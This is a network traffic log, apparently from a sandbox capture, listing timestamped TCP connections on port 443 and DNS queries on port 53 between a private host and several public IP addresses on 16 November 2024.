Nov 16, 2024 04:33:37.896861076 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:37.934621096 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:37.975338936 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:38.015897989 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.016202927 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.016227007 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.017698050 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.017760038 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.018063068 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.018131971 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.018192053 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.018198967 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.059660912 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.178133011 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:38.178268909 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:38.178350925 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:38.178386927 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:38.178405046 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:38.178414106 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:38.229664087 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:38.229732990 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:38.230300903 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:38.230592012 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:38.230607033 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:38.260777950 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.260854006 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.260895967 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.260921001 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.260947943 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.260967016 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.261012077 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.261020899 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.261033058 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.261075974 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.263072014 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.263181925 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.263214111 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.263274908 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.263353109 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.263353109 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.376012087 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.376063108 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.376105070 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.376193047 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.376240015 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.376240015 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.377233028 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.377276897 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.377311945 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.377326965 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.377373934 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.377393961 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.416898966 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.416949987 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.416985989 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.417026043 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.417053938 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.417083025 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.491669893 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.491729975 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.491766930 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.491801977 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.491831064 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.491919041 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.492846012 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.492899895 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.492935896 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.492949963 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.492978096 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.492994070 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.606585979 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.606642008 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.606677055 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.606748104 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.606785059 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.606879950 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.607975960 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.608019114 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.608046055 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.608062983 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.608092070 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.608117104 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.608355045 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.608412027 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.608434916 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.608448982 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.608478069 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.608498096 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.722412109 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.722465038 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.722496033 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.722554922 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.722589016 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.722611904 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.723736048 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.723778963 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.723820925 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.723836899 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.723865986 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.723886967 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.724662066 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.724724054 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.724731922 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.724762917 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.724781036 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.724936962 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.724993944 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.725014925 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.725070000 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.766258001 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.766679049 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.766712904 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.767663956 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.767720938 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.768116951 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.768182039 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.768274069 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:38.768281937 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:38.811744928 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:39.009807110 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.009829998 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.009836912 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.009856939 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.009877920 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.009897947 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:39.009942055 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:39.009942055 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.010072947 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:39.022490978 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.022505999 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.022557020 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:39.022564888 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.022619009 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:39.070543051 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:39.070663929 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:39.128911018 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.128928900 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.129034996 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:39.129069090 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.129251003 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:39.139847040 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.139911890 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.139929056 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:39.139955997 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:39.289974928 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:39.290015936 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:39.301503897 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:39.301527977 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:39.301970959 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:39.304435015 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:39.351326942 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:39.546295881 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:39.546387911 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:39.546437979 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:39.547736883 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:39.547758102 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:39.547770023 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:39.547775030 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:42.382894039 CET	49793	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:42.387691021 CET	53	49793	1.1.1.1	192.168.2.4
Nov 16, 2024 04:33:42.387753010 CET	49793	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:42.387800932 CET	49793	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:42.387810946 CET	49793	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:42.387845993 CET	49793	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:42.392525911 CET	53	49793	1.1.1.1	192.168.2.4
Nov 16, 2024 04:33:42.392858982 CET	53	49793	1.1.1.1	192.168.2.4
Nov 16, 2024 04:33:42.434015989 CET	53	49793	1.1.1.1	192.168.2.4
Nov 16, 2024 04:33:42.865953922 CET	53	49793	1.1.1.1	192.168.2.4
Nov 16, 2024 04:33:42.866034031 CET	49793	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:46.913124084 CET	443	49760	142.250.185.132	192.168.2.4
Nov 16, 2024 04:33:46.913176060 CET	443	49760	142.250.185.132	192.168.2.4
Nov 16, 2024 04:33:46.913273096 CET	49760	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:33:46.964870930 CET	49760	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:33:46.964929104 CET	443	49760	142.250.185.132	192.168.2.4
Nov 16, 2024 04:33:55.088917017 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:55.088973999 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:55.089076042 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:55.089314938 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:55.089349985 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:55.829015970 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:55.829104900 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:55.831902027 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:55.831931114 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:55.832344055 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:55.840774059 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:55.883375883 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.057519913 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.057584047 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.057718992 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.057816029 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.057876110 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.057923079 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.057945967 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.082839012 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.082912922 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.082966089 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.083030939 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.083067894 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.083096027 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.173021078 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.173084021 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.173264980 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.173264980 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.173289061 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.173413992 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.198137045 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.198194027 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.198335886 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.198335886 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.198350906 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.199237108 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.199294090 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.199356079 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.199374914 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.199400902 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.201412916 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.288058043 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.288096905 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.288177967 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.288192034 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.288218975 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.288248062 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.312354088 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.312398911 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.312546015 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.312561989 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.312619925 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.313287973 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.313332081 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.313365936 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.313376904 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.313405037 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.313421965 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.314220905 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.314265013 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.314297915 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.314307928 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.314332962 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.314372063 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.315697908 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.315751076 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.315778017 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.315788984 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.315817118 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.315835953 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.403714895 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.403772116 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.403836966 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.403903008 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.403937101 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.405419111 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.428061962 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.428131104 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.428175926 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.428189039 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.428220034 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.428236008 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.428550005 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.428601980 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.428625107 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.428637028 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.428663015 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.428678989 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.428706884 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.428771019 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.428782940 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.428821087 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.428833008 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.428858995 CET	49846	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.428864002 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.428889990 CET	443	49846	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.466022968 CET	49847	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.466109991 CET	443	49847	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.466187954 CET	49847	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.466845989 CET	49848	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.466948986 CET	443	49848	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.467245102 CET	49848	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.467952967 CET	49847	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.467986107 CET	443	49847	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.468323946 CET	49848	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.468353987 CET	443	49848	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.469024897 CET	49849	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.469070911 CET	443	49849	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.469420910 CET	49849	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.469537973 CET	49849	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.469548941 CET	443	49849	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.469985008 CET	49850	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.470005989 CET	443	49850	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.470068932 CET	49850	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.470172882 CET	49850	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.470186949 CET	443	49850	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.470666885 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.470676899 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:56.470743895 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.471153021 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:56.471164942 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.195622921 CET	443	49848	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.196098089 CET	49848	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.196176052 CET	443	49848	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.196567059 CET	49848	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.196579933 CET	443	49848	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.208185911 CET	443	49850	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.208508968 CET	49850	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.208538055 CET	443	49850	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.208873987 CET	49850	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.208884001 CET	443	49850	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.213891983 CET	443	49847	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.214225054 CET	49847	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.214298010 CET	443	49847	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.214638948 CET	49847	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.214652061 CET	443	49847	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.218425989 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.219434977 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.219472885 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.220073938 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.220092058 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.298582077 CET	443	49849	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.299134016 CET	49849	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.299160957 CET	443	49849	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.299421072 CET	49849	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.299427032 CET	443	49849	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.324331999 CET	443	49848	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.324487925 CET	443	49848	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.324676037 CET	49848	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.324676037 CET	49848	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.324676991 CET	49848	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.327258110 CET	49852	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.327306032 CET	443	49852	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.327384949 CET	49852	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.327759981 CET	49852	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.327779055 CET	443	49852	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.344163895 CET	443	49847	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.344193935 CET	443	49847	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.344255924 CET	443	49847	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.344269037 CET	49847	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.344418049 CET	49847	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.344903946 CET	49847	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.344928026 CET	443	49847	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.344944000 CET	49847	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.344953060 CET	443	49847	13.107.246.45	192.168.2.4
